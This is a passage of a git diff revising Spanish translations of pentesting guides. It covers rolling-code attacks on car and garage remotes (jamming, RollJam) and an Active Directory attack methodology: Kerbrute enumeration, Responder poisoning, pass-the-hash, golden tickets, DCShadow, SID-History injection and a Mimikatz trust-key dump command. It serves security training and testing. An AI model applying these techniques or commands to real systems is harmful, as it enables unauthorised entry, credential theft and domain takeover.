**ataque de repetición**. Para prevenir este tipo de ataque, muchos abridores de puertas de garaje modernos utilizan un método de cifrado más seguro conocido como un sistema de **código rodante**. La **señal RF se transmite típicamente utilizando un código rodante**, lo que significa que el código cambia con cada uso. Esto hace que sea **difícil** para alguien **interceptar** la señal y **utilizarla** para obtener acceso **no autorizado** al garaje. @@ -49,23 +49,23 @@ En un sistema de código rodante, el control remoto y el abridor de la puerta de ### **Ataque de Enlace Perdido** -Básicamente, escuchas el botón y **capturas la señal mientras el control remoto está fuera del alcance** del dispositivo (digamos el automóvil o el garaje). Luego te mueves hacia el dispositivo y **utilizas el código capturado para abrirlo**. +Básicamente, escuchas el botón y **capturas la señal mientras el control remoto está fuera del alcance** del dispositivo (digamos el auto o el garaje). Luego te mueves hacia el dispositivo y **utilizas el código capturado para abrirlo**. -### Ataque de Bloqueo de Enlace Completo +### Ataque de Jamming de Enlace Completo -Un atacante podría **bloquear la señal cerca del vehículo o receptor** para que el **receptor no pueda realmente 'escuchar' el código**, y una vez que eso esté sucediendo, puedes simplemente **capturar y reproducir** el código cuando hayas dejado de bloquear. +Un atacante podría **interferir la señal cerca del vehículo o receptor** para que el **receptor no pueda realmente 'escuchar' el código**, y una vez que eso esté sucediendo, puedes simplemente **capturar y reproducir** el código cuando hayas dejado de interferir. -La víctima en algún momento usará las **llaves para cerrar el automóvil**, pero luego el ataque habrá **grabado suficientes "códigos de cerrar puerta"** que, con suerte, podrían ser reenviados para abrir la puerta (puede ser **necesario un cambio de frecuencia** ya que hay automóviles que utilizan los mismos códigos para abrir y cerrar, pero escuchan ambos comandos en diferentes frecuencias). +La víctima en algún momento usará las **llaves para cerrar el auto**, pero luego el ataque habrá **grabado suficientes códigos de "cerrar puerta"** que podrían ser reenviados para abrir la puerta (puede ser necesario **cambiar de frecuencia** ya que hay autos que utilizan los mismos códigos para abrir y cerrar pero escuchan ambos comandos en diferentes frecuencias). > [!WARNING] -> **El bloqueo funciona**, pero es notable, ya que si la **persona que cierra el automóvil simplemente prueba las puertas** para asegurarse de que estén cerradas, notaría que el automóvil está desbloqueado. Además, si estuvieran al tanto de tales ataques, incluso podrían escuchar el hecho de que las puertas nunca hicieron el **sonido** de bloqueo o que las **luces** del automóvil nunca parpadearon cuando presionaron el botón de 'bloquear'. +> **La interferencia funciona**, pero es notable, ya que si la **persona que cierra el auto simplemente prueba las puertas** para asegurarse de que estén cerradas, notaría que el auto está desbloqueado. Además, si estuvieran al tanto de tales ataques, incluso podrían escuchar el hecho de que las puertas nunca hicieron el **sonido** de bloqueo o que las **luces** del auto nunca parpadearon cuando presionaron el botón de 'bloquear'. ### **Ataque de Captura de Código (también conocido como 'RollJam')** -Esta es una técnica de **bloqueo más sigilosa**. El atacante bloqueará la señal, de modo que cuando la víctima intente cerrar la puerta, no funcione, pero el atacante **grabará este código**. Luego, la víctima **intenta cerrar el automóvil nuevamente** presionando el botón y el automóvil **grabará este segundo código**.\ -Instantáneamente después de esto, el **atacante puede enviar el primer código** y el **automóvil se cerrará** (la víctima pensará que la segunda presión lo cerró). Luego, el atacante podrá **enviar el segundo código robado para abrir** el automóvil (suponiendo que un **código de "cerrar automóvil" también se pueda usar para abrirlo**). Puede ser necesario un cambio de frecuencia (ya que hay automóviles que utilizan los mismos códigos para abrir y cerrar, pero escuchan ambos comandos en diferentes frecuencias). +Esta es una técnica de **interferencia más sigilosa**. El atacante interferirá la señal, de modo que cuando la víctima intente cerrar la puerta, no funcionará, pero el atacante **grabará este código**. Luego, la víctima **intenta cerrar el auto nuevamente** presionando el botón y el auto **grabará este segundo código**.\ +Instantáneamente después de esto, el **atacante puede enviar el primer código** y el **auto se bloqueará** (la víctima pensará que la segunda presión lo cerró). Luego, el atacante podrá **enviar el segundo código robado para abrir** el auto (suponiendo que un **código de "cerrar auto" también se puede usar para abrirlo**). Puede ser necesario un cambio de frecuencia (ya que hay autos que utilizan los mismos códigos para abrir y cerrar pero escuchan ambos comandos en diferentes frecuencias). -El atacante puede **bloquear el receptor del automóvil y no su receptor** porque si el receptor del automóvil está escuchando, por ejemplo, en un ancho de banda de 1MHz, el atacante no **bloqueará** la frecuencia exacta utilizada por el control remoto, sino **una cercana en ese espectro**, mientras que el **receptor del atacante estará escuchando en un rango más pequeño** donde puede escuchar la señal del control remoto **sin la señal de bloqueo**. +El atacante puede **interferir el receptor del auto y no su receptor** porque si el receptor del auto está escuchando, por ejemplo, en un ancho de banda de 1MHz, el atacante no **interferirá** la frecuencia exacta utilizada por el control remoto, sino **una cercana en ese espectro**, mientras que el **receptor del atacante estará escuchando en un rango más pequeño** donde puede escuchar la señal del remoto **sin la señal de interferencia**. > [!WARNING] > Otras implementaciones vistas en especificaciones muestran que el **código rodante es una porción** del código total enviado. Es decir, el código enviado es una **clave de 24 bits** donde los primeros **12 son el código rodante**, los **8 segundos son el comando** (como bloquear o desbloquear) y los últimos 4 son el **checksum**. Los vehículos que implementan este tipo son también naturalmente susceptibles, ya que el atacante solo necesita reemplazar el segmento del código rodante para poder **usar cualquier código rodante en ambas frecuencias**. @@ -73,9 +73,9 @@ El atacante puede **bloquear el receptor del automóvil y no su receptor** porqu > [!CAUTION] > Tenga en cuenta que si la víctima envía un tercer código mientras el atacante está enviando el primero, el primer y segundo código serán invalidados. -### Ataque de Bloqueo de Sonido de Alarma +### Ataque de Jamming de Sonido de Alarma -Al probar un sistema de código rodante de posventa instalado en un automóvil, **enviar el mismo código dos veces** inmediatamente **activó la alarma** y el inmovilizador, proporcionando una única oportunidad de **denegación de servicio**. Irónicamente, el medio para **desactivar la alarma** y el inmovilizador era **presionar** el **control remoto**, proporcionando al atacante la capacidad de **realizar continuamente un ataque de DoS**. O mezclar este ataque con el **anterior para obtener más códigos**, ya que la víctima querría detener el ataque lo antes posible. +Al probar un sistema de código rodante de posventa instalado en un auto, **enviar el mismo código dos veces** inmediatamente **activó la alarma** y el inmovilizador, proporcionando una única oportunidad de **denegación de servicio**. Irónicamente, el medio para **desactivar la alarma** y el inmovilizador era **presionar** el **control remoto**, proporcionando al atacante la capacidad de **realizar continuamente un ataque de DoS**. O mezclar este ataque con el **anterior para obtener más códigos**, ya que la víctima querría detener el ataque lo antes posible. ## Referencias diff --git a/src/windows-hardening/active-directory-methodology/README.md b/src/windows-hardening/active-directory-methodology/README.md index a4dfbf1d5..b0f5d8361 100644 --- a/src/windows-hardening/active-directory-methodology/README.md +++ b/src/windows-hardening/active-directory-methodology/README.md @@ -16,12 +16,12 @@ Los conceptos clave dentro de **Active Directory** incluyen: 4. **Árbol** – Un agrupamiento de dominios que comparten un dominio raíz común. 5. **Bosque** – La cúspide de la estructura organizativa en Active Directory, compuesto por varios árboles con **relaciones de confianza** entre ellos. -**Active Directory Domain Services (AD DS)** abarca una gama de servicios críticos para la gestión y comunicación centralizadas dentro de una red. Estos servicios comprenden: +**Active Directory Domain Services (AD DS)** abarca una gama de servicios críticos para la gestión y comunicación centralizada dentro de una red. Estos servicios comprenden: 1. **Servicios de Dominio** – Centraliza el almacenamiento de datos y gestiona las interacciones entre **usuarios** y **dominios**, incluyendo funcionalidades de **autenticación** y **búsqueda**. 2. **Servicios de Certificado** – Supervisa la creación, distribución y gestión de **certificados digitales** seguros. 3. **Servicios de Directorio Ligero** – Soporta aplicaciones habilitadas para directorios a través del **protocolo LDAP**. -4. **Servicios de Federación de Directorios** – Proporciona capacidades de **inicio de sesión único** para autenticar usuarios a través de múltiples aplicaciones web en una sola sesión. +4. **Servicios de Federación de Directorio** – Proporciona capacidades de **inicio de sesión único** para autenticar usuarios a través de múltiples aplicaciones web en una sola sesión. 5. **Gestión de Derechos** – Ayuda a proteger material con derechos de autor regulando su distribución y uso no autorizados. 6. **Servicio DNS** – Crucial para la resolución de **nombres de dominio**. @@ -54,6 +54,7 @@ Si solo tienes acceso a un entorno AD pero no tienes credenciales/sesiones, podr - `smbclient -U '%' -L // && smbclient -U 'guest%' -L //` - Una guía más detallada sobre cómo enumerar un servidor SMB se puede encontrar aquí: + {{#ref}} ../../network-services-pentesting/pentesting-smb/ {{#endref}} @@ -62,25 +63,26 @@ Si solo tienes acceso a un entorno AD pero no tienes credenciales/sesiones, podr - `nmap -n -sV --script "ldap* and not brute" -p 389 ` - Una guía más detallada sobre cómo enumerar LDAP se puede encontrar aquí (presta **especial atención al acceso anónimo**): + {{#ref}} ../../network-services-pentesting/pentesting-ldap.md {{#endref}} - **Envenenar la red** -- Reunir credenciales [**suplantando servicios con Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) +- Recolectar credenciales [**suplantando servicios con Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) - Acceder al host [**abusando del ataque de retransmisión**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) -- Reunir credenciales **exponiendo** [**servicios UPnP falsos con evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) +- Recolectar credenciales **exponiendo** [**servicios UPnP falsos con evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) - [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html): - Extraer nombres de usuario/nombres de documentos internos, redes sociales, servicios (principalmente web) dentro de los entornos de dominio y también de los disponibles públicamente. -- Si encuentras los nombres completos de los trabajadores de la empresa, podrías intentar diferentes convenciones de **nombres de usuario de AD** (**[lee esto](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Las convenciones más comunes son: _NombreApellido_, _Nombre.Apellido_, _NamSur_ (3 letras de cada uno), _Nam.Sur_, _NSurname_, _N.Surname_, _ApellidoNombre_, _Apellido.Nombre_, _ApellidoN_, _Apellido.N_, 3 _letras aleatorias y 3 números aleatorios_ (abc123). +- Si encuentras los nombres completos de los trabajadores de la empresa, podrías intentar diferentes **convenciones de nombres de usuario de AD** (**[lee esto](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Las convenciones más comunes son: _NombreApellido_, _Nombre.Apellido_, _NamSur_ (3 letras de cada uno), _Nam.Sur_, _NSurname_, _N.Surname_, _ApellidoNombre_, _Apellido.Nombre_, _ApellidoN_, _Apellido.N_, 3 _letras aleatorias y 3 números aleatorios_ (abc123). - Herramientas: - [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username) - [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy) ### Enumeración de usuarios -- **Enumeración anónima de SMB/LDAP:** Consulta las páginas de [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) y [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md). -- **Enumeración Kerbrute**: Cuando se solicita un **nombre de usuario inválido**, el servidor responderá utilizando el código de error de **Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, lo que nos permite determinar que el nombre de usuario era inválido. **Nombres de usuario válidos** provocarán ya sea el **TGT en una respuesta AS-REP** o el error _KRB5KDC_ERR_PREAUTH_REQUIRED_, indicando que se requiere que el usuario realice una pre-autenticación. +- **Enumeración anónima SMB/LDAP:** Consulta las páginas de [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) y [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md). +- **Enumeración Kerbrute**: Cuando se solicita un **nombre de usuario inválido**, el servidor responderá utilizando el código de error de **Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, lo que nos permite determinar que el nombre de usuario era inválido. Los **nombres de usuario válidos** provocarán ya sea el **TGT en una respuesta AS-REP** o el error _KRB5KDC_ERR_PREAUTH_REQUIRED_, indicando que se requiere que el usuario realice una pre-autenticación. - **Sin autenticación contra MS-NRPC**: Usando auth-level = 1 (Sin autenticación) contra la interfaz MS-NRPC (Netlogon) en controladores de dominio. El método llama a la función `DsrGetDcNameEx2` después de enlazar la interfaz MS-NRPC para verificar si el usuario o computadora existe sin ninguna credencial. La herramienta [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) implementa este tipo de enumeración. La investigación se puede encontrar [aquí](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf) ```bash ./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases @@ -156,7 +158,7 @@ kerberos-double-hop-problem.md ### Enumeración -Haber comprometido una cuenta es un **gran paso para comenzar a comprometer todo el dominio**, porque podrás comenzar la **Enumeración de Active Directory:** +Haber comprometido una cuenta es un **gran paso para comenzar a comprometer todo el dominio**, porque podrás iniciar la **Enumeración de Active Directory:** Respecto a [**ASREPRoast**](asreproast.md), ahora puedes encontrar cada posible usuario vulnerable, y respecto a [**Password Spraying**](password-spraying.md), puedes obtener una **lista de todos los nombres de usuario** y probar la contraseña de la cuenta comprometida, contraseñas vacías y nuevas contraseñas prometedoras. @@ -167,7 +169,7 @@ Respecto a [**ASREPRoast**](asreproast.md), ahora puedes encontrar cada posible - **Otras herramientas automatizadas de enumeración de AD son:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.** - [**Registros DNS del AD**](ad-dns-records.md) ya que podrían contener información interesante. - Una **herramienta con GUI** que puedes usar para enumerar el directorio es **AdExplorer.exe** del **SysInternal** Suite. -- También puedes buscar en la base de datos LDAP con **ldapsearch** para buscar credenciales en los campos _userPassword_ y _unixUserPassword_, o incluso para _Description_. cf. [Contraseña en el comentario de usuario de AD en PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) para otros métodos. +- También puedes buscar en la base de datos LDAP con **ldapsearch** para buscar credenciales en los campos _userPassword_ y _unixUserPassword_, o incluso para _Description_. cf. [Contraseña en el comentario de usuario AD en PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) para otros métodos. - Si estás usando **Linux**, también podrías enumerar el dominio usando [**pywerview**](https://github.com/the-useless-one/pywerview). - También podrías intentar herramientas automatizadas como: - [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch) @@ -222,6 +224,7 @@ Ahora que tienes algunas credenciales básicas, deberías verificar si puedes ** Si puedes **acceder a otras PC o comparticiones**, podrías **colocar archivos** (como un archivo SCF) que, si se accede de alguna manera, **activarán una autenticación NTLM contra ti**, para que puedas **robar** el **reto NTLM** y crackearlo: + {{#ref}} ../ntlm/places-to-steal-ntlm-creds.md {{#endref}} @@ -230,6 +233,7 @@ Si puedes **acceder a otras PC o comparticiones**, podrías **colocar archivos** Esta vulnerabilidad permitió a cualquier usuario autenticado **comprometer el controlador de dominio**. + {{#ref}} printnightmare.md {{#endref}} @@ -244,7 +248,7 @@ Con suerte, has logrado **comprometer alguna cuenta de administrador local** usa Luego, es hora de volcar todos los hashes en memoria y localmente.\ [**Lee esta página sobre diferentes formas de obtener los hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) -### Pass the Hash +### Pasar el Hash **Una vez que tengas el hash de un usuario**, puedes usarlo para **suplantarlo**.\ Necesitas usar alguna **herramienta** que **realice** la **autenticación NTLM usando** ese **hash**, **o** podrías crear un nuevo **sessionlogon** e **inyectar** ese **hash** dentro de **LSASS**, para que cuando se realice cualquier **autenticación NTLM**, ese **hash será utilizado.** La última opción es lo que hace mimikatz.\ @@ -252,16 +256,18 @@ Necesitas usar alguna **herramienta** que **realice** la **autenticación NTLM u ### Over Pass the Hash/Pass the Key -Este ataque tiene como objetivo **usar el hash NTLM del usuario para solicitar tickets Kerberos**, como una alternativa al común Pass The Hash sobre el protocolo NTLM. Por lo tanto, esto podría ser especialmente **útil en redes donde el protocolo NTLM está deshabilitado** y solo se **permite Kerberos** como protocolo de autenticación. +Este ataque tiene como objetivo **usar el hash NTLM del usuario para solicitar tickets Kerberos**, como una alternativa al común Pass The Hash sobre el protocolo NTLM. Por lo tanto, esto podría ser especialmente **útil en redes donde el protocolo NTLM está deshabilitado** y solo **Kerberos está permitido** como protocolo de autenticación. + {{#ref}} over-pass-the-hash-pass-the-key.md {{#endref}} -### Pass the Ticket +### Pasar el Ticket En el método de ataque **Pass The Ticket (PTT)**, los atacantes **roban el ticket de autenticación de un usuario** en lugar de su contraseña o valores hash. Este ticket robado se utiliza para **suplantar al usuario**, obteniendo acceso no autorizado a recursos y servicios dentro de una red. + {{#ref}} pass-the-ticket.md {{#endref}} @@ -299,7 +305,7 @@ unconstrained-delegation.md ### Delegación restringida -Si un usuario o computadora está permitido para "Delegación Restringida", podrá **impersonar a cualquier usuario para acceder a algunos servicios en una computadora**.\ +Si a un usuario o computadora se le permite la "Delegación Restringida", podrá **impersonar a cualquier usuario para acceder a algunos servicios en una computadora**.\ Luego, si **comprometes el hash** de este usuario/computadora, podrás **impersonar a cualquier usuario** (incluso administradores de dominio) para acceder a algunos servicios. {{#ref}} @@ -324,7 +330,7 @@ acl-persistence-abuse/ ### Abuso del servicio de cola de impresión -Descubrir un **servicio de cola** escuchando dentro del dominio puede ser **abusado** para **adquirir nuevas credenciales** y **escalar privilegios**. +Descubrir un **servicio de cola escuchando** dentro del dominio puede ser **abusado** para **adquirir nuevas credenciales** y **escalar privilegios**. {{#ref}} printers-spooler-service-abuse.md @@ -357,7 +363,7 @@ ad-certificates/certificate-theft.md ### Abuso de plantillas de certificados -Si hay **plantillas vulnerables** configuradas, es posible abusar de ellas para escalar privilegios: +Si se configuran **plantillas vulnerables**, es posible abusar de ellas para escalar privilegios: {{#ref}} ad-certificates/domain-escalation.md @@ -408,7 +414,7 @@ silver-ticket.md Un **ataque Golden Ticket** implica que un atacante obtenga acceso al **hash de NTLM de la cuenta krbtgt** en un entorno de Active Directory (AD). Esta cuenta es especial porque se utiliza para firmar todos los **Tickets de Concesión de Tickets (TGTs)**, que son esenciales para la autenticación dentro de la red AD. -Una vez que el atacante obtiene este hash, puede crear **TGTs** para cualquier cuenta que elija (ataque Silver Ticket). +Una vez que el atacante obtiene este hash, puede crear **TGTs** para cualquier cuenta que elija (ataque de ticket de plata). {{#ref}} golden-ticket.md @@ -416,7 +422,7 @@ golden-ticket.md ### Diamond Ticket -Estos son como los tickets dorados forjados de una manera que **elude los mecanismos comunes de detección de tickets dorados.** +Estos son como tickets dorados forjados de una manera que **elude los mecanismos comunes de detección de tickets dorados.** {{#ref}} diamond-ticket.md @@ -440,13 +446,13 @@ ad-certificates/domain-persistence.md ### Grupo AdminSDHolder -El objeto **AdminSDHolder** en Active Directory asegura la seguridad de los **grupos privilegiados** (como Administradores de Dominio y Administradores de Empresa) aplicando una **Lista de Control de Acceso (ACL)** estándar en estos grupos para prevenir cambios no autorizados. Sin embargo, esta característica puede ser explotada; si un atacante modifica la ACL de AdminSDHolder para dar acceso total a un usuario regular, ese usuario obtiene un control extenso sobre todos los grupos privilegiados. Esta medida de seguridad, destinada a proteger, puede por lo tanto volverse en contra, permitiendo un acceso no deseado a menos que se supervise de cerca. +El objeto **AdminSDHolder** en Active Directory asegura la seguridad de los **grupos privilegiados** (como Administradores de Dominio y Administradores de Empresa) aplicando una **Lista de Control de Acceso (ACL)** estándar en estos grupos para prevenir cambios no autorizados. Sin embargo, esta característica puede ser explotada; si un atacante modifica la ACL de AdminSDHolder para otorgar acceso total a un usuario regular, ese usuario obtiene un control extenso sobre todos los grupos privilegiados. Esta medida de seguridad, destinada a proteger, puede por lo tanto volverse en contra, permitiendo un acceso no deseado a menos que se supervise de cerca. [**Más información sobre el grupo AdminDSHolder aquí.**](privileged-groups-and-token-privileges.md#adminsdholder-group) ### Credenciales DSRM -Dentro de cada **Controlador de Dominio (DC)**, existe una cuenta de **administrador local**. Al obtener derechos de administrador en tal máquina, se puede extraer el hash del Administrador local usando **mimikatz**. Después de esto, es necesaria una modificación del registro para **habilitar el uso de esta contraseña**, permitiendo el acceso remoto a la cuenta del Administrador local. +Dentro de cada **Controlador de Dominio (DC)**, existe una cuenta de **administrador local**. Al obtener derechos de administrador en tal máquina, se puede extraer el hash del Administrador local usando **mimikatz**. Después de esto, es necesaria una modificación del registro para **habilitar el uso de esta contraseña**, permitiendo el acceso remoto a la cuenta de Administrador local. {{#ref}} dsrm-credentials.md @@ -487,7 +493,7 @@ custom-ssp.md ### DCShadow -Registra un **nuevo Controlador de Dominio** en el AD y lo utiliza para **empujar atributos** (SIDHistory, SPNs...) en objetos especificados **sin** dejar ningún **registro** sobre las **modificaciones**. Necesitas privilegios de DA y estar dentro del **dominio raíz**.\ +Registra un **nuevo Controlador de Dominio** en el AD y lo utiliza para **empujar atributos** (SIDHistory, SPNs...) en objetos específicos **sin** dejar ningún **registro** sobre las **modificaciones**. Necesitas privilegios de DA y estar dentro del **dominio raíz**.\ Ten en cuenta que si usas datos incorrectos, aparecerán registros bastante feos. {{#ref}} @@ -505,13 +511,13 @@ laps.md ## Escalación de privilegios en el bosque - Confianzas de dominio -Microsoft ve el **Bosque** como el límite de seguridad. Esto implica que **comprometer un solo dominio podría llevar potencialmente a que todo el bosque sea comprometido**. +Microsoft ve el **Bosque** como el límite de seguridad. Esto implica que **comprometer un solo dominio podría llevar potencialmente a que todo el Bosque sea comprometido**. ### Información básica Una [**confianza de dominio**]() es un mecanismo de seguridad que permite a un usuario de un **dominio** acceder a recursos en otro **dominio**. Esencialmente, crea un vínculo entre los sistemas de autenticación de los dos dominios, permitiendo que las verificaciones de autenticación fluyan sin problemas. Cuando los dominios establecen una confianza, intercambian y retienen claves específicas dentro de sus **Controladores de Dominio (DCs)**, que son cruciales para la integridad de la confianza. -En un escenario típico, si un usuario pretende acceder a un servicio en un **dominio confiable**, primero debe solicitar un ticket especial conocido como un **TGT inter-realm** de su propio DC de dominio. Este TGT está cifrado con una **clave** que ambos dominios han acordado. El usuario luego presenta este TGT al **DC del dominio confiable** para obtener un ticket de servicio (**TGS**). Tras la validación exitosa del TGT inter-realm por parte del DC del dominio confiable, emite un TGS, otorgando al usuario acceso al servicio. +En un escenario típico, si un usuario pretende acceder a un servicio en un **dominio confiable**, primero debe solicitar un ticket especial conocido como un **TGT inter-realm** de su propio DC de dominio. Este TGT está cifrado con una **clave** compartida que ambos dominios han acordado. Luego, el usuario presenta este TGT al **DC del dominio confiable** para obtener un ticket de servicio (**TGS**). Tras la validación exitosa del TGT inter-realm por parte del DC del dominio confiable, emite un TGS, otorgando al usuario acceso al servicio. **Pasos**: @@ -520,14 +526,14 @@ En un escenario típico, si un usuario pretende acceder a un servicio en un **do 3. El cliente luego solicita un **TGT inter-realm** de DC1, que es necesario para acceder a recursos en **Dominio 2**. 4. El TGT inter-realm está cifrado con una **clave de confianza** compartida entre DC1 y DC2 como parte de la confianza de dominio bidireccional. 5. El cliente lleva el TGT inter-realm al **Controlador de Dominio (DC2) del Dominio 2**. -6. DC2 verifica el TGT inter-realm utilizando su clave de confianza compartida y, si es válido, emite un **Ticket Granting Service (TGS)** para el servidor en Dominio 2 al que el cliente desea acceder. -7. Finalmente, el cliente presenta este TGS al servidor, que está cifrado con el hash de la cuenta del servidor, para obtener acceso al servicio en Dominio 2. +6. DC2 verifica el TGT inter-realm utilizando su clave de confianza compartida y, si es válido, emite un **Ticket Granting Service (TGS)** para el servidor en el Dominio 2 al que el cliente desea acceder. +7. Finalmente, el cliente presenta este TGS al servidor, que está cifrado con el hash de la cuenta del servidor, para obtener acceso al servicio en el Dominio 2. ### Diferentes confianzas -Es importante notar que **una confianza puede ser unidireccional o bidireccional**. En la opción bidireccional, ambos dominios se confiarán mutuamente, pero en la relación de confianza **unidireccional**, uno de los dominios será el **confiado** y el otro el **confiador**. En este último caso, **solo podrás acceder a recursos dentro del dominio confiador desde el confiado**. +Es importante notar que **una confianza puede ser unidireccional o bidireccional**. En la opción bidireccional, ambos dominios se confiarán mutuamente, pero en la relación de confianza **unidireccional**, uno de los dominios será el **confiable** y el otro el **que confía**. En este último caso, **solo podrás acceder a recursos dentro del dominio que confía desde el dominio confiable**. -Si el Dominio A confía en el Dominio B, A es el dominio confiador y B es el confiado. Además, en **Dominio A**, esto sería una **confianza saliente**; y en **Dominio B**, esto sería una **confianza entrante**. +Si el Dominio A confía en el Dominio B, A es el dominio que confía y B es el confiable. Además, en **Dominio A**, esto sería una **confianza saliente**; y en **Dominio B**, esto sería una **confianza entrante**. **Diferentes relaciones de confianza** @@ -546,15 +552,15 @@ Si el Dominio A confía en el Dominio B, A es el dominio confiador y B es el con ### Ruta de ataque 1. **Enumerar** las relaciones de confianza -2. Verificar si algún **principal de seguridad** (usuario/grupo/computadora) tiene **acceso** a recursos del **otro dominio**, tal vez a través de entradas ACE o al estar en grupos del otro dominio. Busca **relaciones entre dominios** (la confianza fue creada para esto probablemente). +2. Verificar si algún **principal de seguridad** (usuario/grupo/computadora) tiene **acceso** a recursos del **otro dominio**, tal vez a través de entradas ACE o al estar en grupos del otro dominio. Busca **relaciones entre dominios** (la confianza se creó probablemente para esto). 1. Kerberoast en este caso podría ser otra opción. -3. **Comprometer** las **cuentas** que pueden **pivotar** a través de dominios. +3. **Comprometer** las **cuentas** que pueden **pivotar** entre dominios. Los atacantes podrían acceder a recursos en otro dominio a través de tres mecanismos principales: -- **Membresía de grupo local**: Los principales podrían ser añadidos a grupos locales en máquinas, como el grupo “Administradores” en un servidor, otorgándoles un control significativo sobre esa máquina. -- **Membresía de grupo de dominio extranjero**: Los principales también pueden ser miembros de grupos dentro del dominio extranjero. Sin embargo, la efectividad de este método depende de la naturaleza de la confianza y el alcance del grupo. -- **Listas de Control de Acceso (ACLs)**: Los principales podrían estar especificados en una **ACL**, particularmente como entidades en **ACEs** dentro de un **DACL**, proporcionándoles acceso a recursos específicos. Para aquellos que buscan profundizar en la mecánica de las ACLs, DACLs y ACEs, el documento titulado “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” es un recurso invaluable. +- **Membresía en grupos locales**: Los principales pueden ser añadidos a grupos locales en máquinas, como el grupo “Administradores” en un servidor, otorgándoles un control significativo sobre esa máquina. +- **Membresía en grupos de dominio extranjero**: Los principales también pueden ser miembros de grupos dentro del dominio extranjero. Sin embargo, la efectividad de este método depende de la naturaleza de la confianza y el alcance del grupo. +- **Listas de Control de Acceso (ACLs)**: Los principales pueden estar especificados en una **ACL**, particularmente como entidades en **ACEs** dentro de un **DACL**, proporcionándoles acceso a recursos específicos. Para aquellos que buscan profundizar en la mecánica de ACLs, DACLs y ACEs, el documento titulado “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” es un recurso invaluable. ### Encontrar usuarios/grupos externos con permisos @@ -595,7 +601,7 @@ nltest /server:dc.sub.domain.local /domain_trusts /all_trusts ``` > [!WARNING] > Hay **2 claves de confianza**, una para _Child --> Parent_ y otra para _Parent_ --> _Child_.\ -> Puedes usar la que se utiliza en el dominio actual con: +> Puedes ver la que se usa en el dominio actual con: > > ```bash > Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local @@ -604,7 +610,8 @@ nltest /server:dc.sub.domain.local /domain_trusts /all_trusts #### Inyección de SID-History -Escalar como administrador de la empresa al dominio hijo/padre abusando de la confianza con inyección de SID-History: +Escalar como administrador de la empresa al dominio hijo/padre abusando de la confianza con la inyección de SID-History: + {{#ref}} sid-history-injection.md @@ -626,12 +633,14 @@ Un vector de ataque implica apuntar a gMSAs privilegiados dentro del dominio. La El análisis detallado y la guía paso a paso se pueden encontrar en: + {{#ref}} golden-dmsa-gmsa.md {{#endref}} Ataque MSA delegado complementario (BadSuccessor – abusando de atributos de migración): + {{#ref}} badsuccessor-dmsa-migration-abuse.md {{#endref}} @@ -642,13 +651,13 @@ Investigación externa adicional: [Golden gMSA Trust Attacks](https://improsec.c Este método requiere paciencia, esperando la creación de nuevos objetos AD privilegiados. Con privilegios de SYSTEM, un atacante puede modificar el Esquema de AD para otorgar a cualquier usuario control total sobre todas las clases. Esto podría llevar a acceso no autorizado y control sobre objetos AD recién creados. -Más lecturas están disponibles sobre [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent). +Lectura adicional está disponible sobre [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent). **De DA a EA con ADCS ESC5** La vulnerabilidad ADCS ESC5 apunta al control sobre objetos de Infraestructura de Clave Pública (PKI) para crear una plantilla de certificado que permite la autenticación como cualquier usuario dentro del bosque. Dado que los objetos PKI residen en el NC de Configuración, comprometer un DC hijo escribible permite la ejecución de ataques ESC5. -Más detalles sobre esto se pueden leer en [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). En escenarios sin ADCS, el atacante tiene la capacidad de configurar los componentes necesarios, como se discute en [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/). +Más detalles 